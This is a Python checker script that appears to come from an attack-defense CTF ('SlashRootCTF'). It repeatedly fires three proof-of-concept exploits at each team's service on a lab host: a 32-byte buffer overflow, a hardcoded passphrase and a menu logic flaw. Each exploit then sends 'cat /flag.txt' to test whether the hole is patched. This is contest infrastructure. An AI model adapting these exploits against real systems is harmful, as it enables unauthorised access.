You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

153 rivejä
4.1 KiB

5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
5 vuotta sitten
  1. #! /usr/bin/env python3
  2. # from pwn import context, remote
  3. from pwn import remote, context
  4. from multiprocessing import Pool
  5. from time import sleep
  6. import logging
  7. import os
  8. context.log_level = logging.ERROR
  9. INTERVAL = 60
  10. HOST = "192.168.2.20"
  11. TOTAL_TEAMS = 10
  12. FORMAT = "SlashRootCTF"
  13. def poc0(host, port):
  14. with remote(host, port) as p:
  15. p.recvuntil(">")
  16. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  17. msg = p.recvuntil(">").decode('utf-8')
  18. # print(msg)
  19. if "young" in msg:
  20. p.sendline("y")
  21. p.recvuntil(">")
  22. p.sendline("2")
  23. p.recvuntil(">")
  24. p.sendline("4")
  25. p.recvuntil(">")
  26. p.sendline("y")
  27. for _ in range(10):
  28. p.recvuntil(">")
  29. p.sendline("99")
  30. p.sendline("cat /flag.txt")
  31. flag = p.recvuntil("}").decode('utf-8')
  32. # print flag
  33. if FORMAT in flag:
  34. return True
  35. else:
  36. return False
  37. else:
  38. return False
  39. def poc1(host, port):
  40. with remote(host, port) as p:
  41. p.recvuntil(">")
  42. p.sendline("Leo")
  43. p.recvuntil(">")
  44. p.sendline("y")
  45. for _ in range(2):
  46. p.recvuntil(">")
  47. p.sendline("3")
  48. p.recvuntil(">")
  49. p.sendline("0")
  50. if "Who" in p.recvuntil(">").decode('utf-8'):
  51. return False
  52. p.sendline("y")
  53. p.recvuntil(">")
  54. p.sendline("1")
  55. p.recvuntil(">")
  56. p.sendline("4")
  57. p.recvuntil(">")
  58. p.sendline("y")
  59. for _ in range(10):
  60. p.recvuntil(">")
  61. p.sendline("99")
  62. p.sendline("cat /flag.txt")
  63. flag = p.recvuntil("}").decode('utf-8')
  64. if FORMAT in flag:
  65. return True
  66. else:
  67. return False
  68. def poc2(host, port):
  69. with remote(host, port) as p:
  70. p.recvuntil(">")
  71. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  72. p.recvuntil(">")
  73. p.sendline("y")
  74. p.recvuntil(">")
  75. p.sendline("6")
  76. if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
  77. p.sendline("2")
  78. p.recvuntil(">")
  79. p.sendline("4")
  80. p.recvuntil(">")
  81. p.sendline("y")
  82. for _ in range(10):
  83. p.recvuntil(">")
  84. p.sendline("99")
  85. p.sendline("cat /flag.txt")
  86. flag = p.recvuntil("}").decode('utf-8')
  87. if FORMAT in flag:
  88. return True
  89. else:
  90. return False
  91. else:
  92. return False
  93. def poc(host, port):
  94. with remote(host, port) as p:
  95. msg = p.recvuntil(">").decode('utf-8')
  96. if "Who" in msg:
  97. p.sendline("Leo")
  98. msg = p.recvuntil(">").decode('utf-8')
  99. if "Leo" in msg:
  100. p.sendline("Y")
  101. msg = p.recvuntil(">").decode('utf-8')
  102. if "What" in msg:
  103. return True
  104. return False
  105. def check(team):
  106. port = (60004 + (team*100))
  107. r = poc(HOST, port)
  108. r0 = poc0(HOST, port)
  109. r1 = poc1(HOST, port)
  110. r2 = poc2(HOST, port)
  111. return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
  112. def init_logging(logFileName: str, debug: bool = False):
  113. logFormatter = logging.Formatter(
  114. fmt="[%(asctime)s][%(levelname)s] %(message)s",
  115. datefmt='%d-%b-%y %H:%M:%S')
  116. rootLogger = logging.getLogger("checker")
  117. fileHandler = logging.FileHandler(logFileName)
  118. fileHandler.setFormatter(logFormatter)
  119. rootLogger.addHandler(fileHandler)
  120. consoleHandler = logging.StreamHandler()
  121. consoleHandler.setFormatter(logFormatter)
  122. rootLogger.addHandler(consoleHandler)
  123. rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
  124. return rootLogger
  125. if __name__ == "__main__":
  126. checker_logger = init_logging("checker.log")
  127. while True:
  128. with Pool(TOTAL_TEAMS) as p:
  129. results = p.map(check, range(1, TOTAL_TEAMS+1))
  130. for result in results:
  131. checker_logger.info(result)
  132. sleep(INTERVAL)